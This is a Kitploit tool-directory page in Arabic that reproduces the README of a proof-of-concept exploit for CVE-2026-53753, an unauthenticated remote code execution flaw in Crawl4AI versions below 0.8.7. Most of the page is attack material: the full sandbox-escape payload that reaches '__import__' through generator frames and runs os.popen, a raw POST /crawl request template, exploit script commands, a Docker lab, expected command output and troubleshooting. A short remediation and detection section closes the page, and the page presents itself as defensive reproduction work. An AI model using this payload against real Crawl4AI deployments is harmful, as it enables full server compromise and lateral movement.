Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 ثغرة RCE غير مصادق عليها (هروب من صندوق رمل AST عبر gi_frame.f_back). مختبر + PoC، تم التحقق منه e2e. | Kitploit
أدوات/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
التحليل الثابتالتحليل الديناميكي (عزل)تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
مختبرات وتدريب عملي
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 ثغرة RCE غير مصادق عليها (هروب من صندوق رمل AST عبر gi_frame.f_back). مختبر + PoC، تم التحقق منه e2e.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-53753 — تنفيذ تعليمات برمجية عن بعد بدون مصادقة في Crawl4AI (هروب من صندوق حماية AST)

هجوم RCE قبل المصادقة في Crawl4AI < 0.8.7. مخطط JsonCssExtractionStrategy مموّه يُرسَل إلى نقطة النهاية غير المصادقة POST /crawl يصل إلى مقيم الحقول المحسوبة (_safe_eval_expression)، يهرب من قائمة AST المسموحة عبر كائنات إطار Python، يصل إلى builtins الحقيقية، ويشغّل __import__('os').popen(<cmd>).read() — ويعيد إخراج الأمر ضمن الاستجابة JSON.

CVECVE-2026-53753
الإبلاغGHSA-qxjp-w3pj-48m7
المتأثرCrawl4AI <= 0.8.6
المُصحَّح0.8.7
التصنيفCWE-94 (حقن تعليمات) / هروب صندوق حماية Python
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المصادقةلا شيء — التهيئة المرفقة بها jwt_enabled: false
الحالةمؤكَّد — تم إعادة إنتاج الهجوم بالكامل ضد الصورة الرسمية unclecode/crawl4ai:0.8.6

فهرس المحتويات

  1. السبب الجذري
  2. تحليل الحمولة سطراً سطراً
  3. لماذا يصل التنقل بين الإطارات إلى builtins الحقيقية
  4. إعداد المختبر
  5. تشغيل الاستغلال
  6. الإخراج المتوقع
  7. طلب HTTP الخام
  8. استكشاف الأخطاء
  9. الأثر / الإصلاح / الكشف
  10. التحقق

تعمق: راجع ANALYSIS.md لشرح عقدة بعقدة لـ AST، ومكدس الإطارات وقت التشغيل، وتدفق بيانات الطلب، وفرق التصحيح.


1. السبب الجذري

في crawl4ai/extraction_strategy.py يُسمح لمخطط الاستخراج بتعريف حقول محسوبة — تعبيرات Python صغيرة تُقيّم لكل عنصر مستخرج. تُشغّل بواسطة _safe_eval_expression()، التي تحاول عزل التعبير داخل صندوق حماية باستخدام قائمة AST مسموحة ومجموعة __builtins__ مجرّدة:

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

المُتحقِّق هو منع بالبادئة: يرفض فقط الأسماء التي تبدأ بـ _ (بالإضافة إلى import). هذه القاعدة الواحدة هي كل الصندوق الآمن — ولديها ثلاثة ثغرات تتحد لتشكّل هروباً كاملاً:

يصل المخطط إلى هذه الدالة بدون مصادقة: شحنة Docker API تحتوي على security.jwt_enabled: false، لذا فإن اعتماد رمز /crawl هو lambda: None.

2. تحليل الحمولة سطراً سطراً

تعبير الحقل المحسوب هو:

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

قراءة كل جزء:

بما أن قيمة المولد هي os.popen(cmd).read()، فإن مخرجات الأمر القياسية تصبح قيمة الحقل وتُعكس في استجابة /crawl — مؤشر ضمن الاستجابة، لا حاجة لـ OAST.

3. لماذا يصل التنقل بين الإطارات إلى builtins الحقيقية

بينما يكرار list(g) على المولد، تبدو مكدس الاستدعاء كالتالي:

root@kitploit:~
frame: _safe_eval_expression()      <-- builtins الحقيقية  (__import__ موجود هنا)   ← f_back ×3
   └ frame: <expression> (eval)     <-- builtins محصورة (_SAFE_EVAL_BUILTINS)       ← f_back ×2
        └ frame: <lambda>           <-- محصورة                                      ← f_back ×1
             └ frame: <genexpr> g   <-- قيد التشغيل؛ g.gi_frame هو هذا الإطار       ← gi_frame

g.gi_frame.f_back يُملأ فقط أثناء تشغيل المولد (لهذا السبب يجب أن يشير المولد إلى نفسه ويُشغّل بواسطة list(g) — فالمولد الذي لم يبدأ تشغيله لديه f_back is None). الصعود ثلاث مرات عبر f_back يصل إلى إطار _safe_eval_expression، الذي يحتوي f_builtins على وحدة builtins الكاملة — والتي يُسحب منها __import__ بالاشتراك.

عمق الإطار ثابت لهذا المسار البرمجي: f_back × 3 صحيح لـ Crawl4AI 0.8.6 في _safe_eval_expression.

4. إعداد المختبر

الصورة الرسمية تحتوي على الإعداد الافتراضي الضعيف (بدون مصادقة):

root@kitploit:~
# الخيار أ — docker compose (مضيف Docker عادي مع شبكة bridge)
docker compose -f lab/docker-compose.yml up -d

# الخيار ب — docker run عادي
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

انتظر ~20 ثانية حتى يسخن تجمع المتصفح (docker logs crawl4ai-vuln → Application startup complete).

5. تشغيل الاستغلال

root@kitploit:~
# فحص جسم الطلب دون إرساله:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# تنفيذه (مخرجات الأمر تعود في الاستجابة):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py يستخدم فقط مكتبة Python القياسية — لا تبعيات.

6. الإخراج المتوقع

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

حقل out هو حالة نظام التشغيل الحية (إخراج id، uname، ملف os-release الخاص بالحاوية)، وليس صدى للطلب — uid=999(appuser) هو حساب الخدمة داخل الحاوية، مما يثبت تنفيذ التعليمات داخل مضيف Crawl4AI. يُعكس echo <marker> فريد حرفياً، مؤكداً أن الأمر نُفذ فعلاً.

7. طلب HTTP الخام

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
  • raw://… يجعل الطلب مكتفياً ذاتياً — لا حاجة لجلب خارجي؛ المهاجم يقدم HTML مباشرة.
  • baseSelector: "div" يحتاج فقط إلى مطابقة عنصر حتى يُقيّم حقل محسوب. مقابل هدف زحف حقيقي، استخدم أي محدد يطابق الصفحة.

8. استكشاف الأخطاء

9. الأثر

أي عميل يمكنه الوصول إلى الشبكة ينفذ أوامر نظام تشغيل عشوائية على مضيف Crawl4AI بدون أي مصادقة في النشر الافتراضي — اختراق كامل للخادم والانتقال إلى أي موارد داخلية يمكنه الوصول إليها.

الإصلاح

  • الترقية إلى Crawl4AI ≥ 0.8.7 (يزيل _safe_eval_expression؛ مفتاح الحقل المحسوب expression معطّل — استخدم المفتاح function مع دالة Python موثوقة بدلاً من ذلك).
  • دفاع متعدد الطبقات: فعّل JWT (jwt_enabled: true + api_token) ولا تعرّض API Crawl4AI لشبكات غير موثوقة أبداً.

الكشف

راقب أجسام طلبات POST /crawl (و /crawl/stream) التي تحتوي على gi_frame أو f_back أو f_builtins أو أي حقل computed يحمل مفتاح expression.

الإفصاح / الشكر

  • مؤلف إثبات المفهوم: Caio Fabrício — github.com/BiiTts
  • تعود الثغرة إلى المُبلّغ الأصلي في CVE/الإبلاغ؛ هذا المستودع هو إعادة إنتاج مستقلة للاستخدام الدفاعي والتعليمي.
  • للاختبار الأمني المصرّح به فقط.
تنزيل الأداة
#الثغرةلماذا تهم
1gi_frame, f_back, f_builtins لا تبدأ بـ _يمكن الوصول إلى كامل سطح تفقد الإطارات/المولدات في Python.
2obj['__import__'] هو ast.Subscript، ليس ast.Attributeلا يفحص المُتحقِّق مفاتيح الاشتراك في القاموس أبداً، لذا فالمفتاح __import__ يمر.
3سلسلة f_back لمولد قيد التشغيل تؤدي إلى إطار خارجي يحتوي f_builtins على builtins الحقيقيةيهرب من _SAFE_EVAL_BUILTINS المجرّدة عائداً إلى الكاملة (__import__، إلخ).
الجزءالدورلماذا يسمح به المُتحقِّق
(lambda: ... )()ينشئ نطاق دالة بحيث يعيش الاسم المرتبط بـ := في خلية إغلاق.ast.Lambda لا يُفحص.
g := ( <expr> for i in [1])يربط المولد بـ g وجسم المولد يشير إلى g (نفسه).:= وتعبيرات المولد لا تُفحص. (العامل := غير قانوني في مجال التكرار للتعبير المولّد، لذا يوضع في عنصر tuple بدلاً من ذلك.)
list(g)يُشغّل المولد — لذا يكون إطاره نشطاً عندما يُنفَّذ الجسم.list ضمن builtins الآمنة.
g.gi_frameكائن الإطار الخاص بالمولد.gi_frame لا يبدأ بـ _.
.f_back.f_back.f_backيصعد ثلاثة إطارات ليصل إلى إطار يحتوي على builtins الحقيقية.f_back لا يبدأ بـ _.
.f_builtinsخريطة builtins لذلك الإطار (الحقيقية).f_builtins لا يبدأ بـ _.
['__import__']يجلب __import__ من قاموس builtins.اشتراك في قاموس — لا يُفحص أبداً.
('os')__import__('os') → وحدة os.هدف الاستدعاء هو Subscript، وليس Name/Attribute.
.popen('id').read()يشغّل الأمر ويعيد مخرجاته القياسية.popen/read لا يبدآن بـ _.
العَرَضالسبب / الإصلاح
Connection refused على :11235الحاوية لا تزال تسخن، أو برنامج Docker الخفي لا يملك شبكة bridge صالحة. انتظر Application startup complete؛ إذا لم يعمل ربط المنفذ، شغّل الحاوية مع --network host.
out هو nullالمحدد الأساسي لم يطابق أي عنصر — تأكد من أن HTML في raw:// يحتوي على <div> (أو اضبط baseSelector).
يعمل على 0.8.6 وليس 0.8.7متوقع — 0.8.7 يزيل _safe_eval_expression ويعطّل مفتاح expression بالكامل (الإصلاح).